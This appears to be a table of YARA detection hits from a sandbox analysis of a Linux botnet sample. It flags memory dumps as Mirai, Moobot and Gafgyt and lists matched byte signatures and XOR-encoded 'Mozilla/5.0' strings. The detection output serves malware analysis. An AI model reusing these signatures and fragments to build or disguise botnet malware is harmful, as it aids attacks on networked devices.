7333.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7333.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7333.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7333.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7333.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7373.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7170.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7373.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7373.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7373.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7373.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7373.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7373.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6897.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7364.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6951.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6708.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7362.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6586.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6586.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6586.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6586.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6586.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6586.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7269.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7269.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7269.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7269.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7269.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7269.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6864.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6864.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6864.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6864.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6864.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6864.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7052.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7151.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7151.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7151.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7151.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
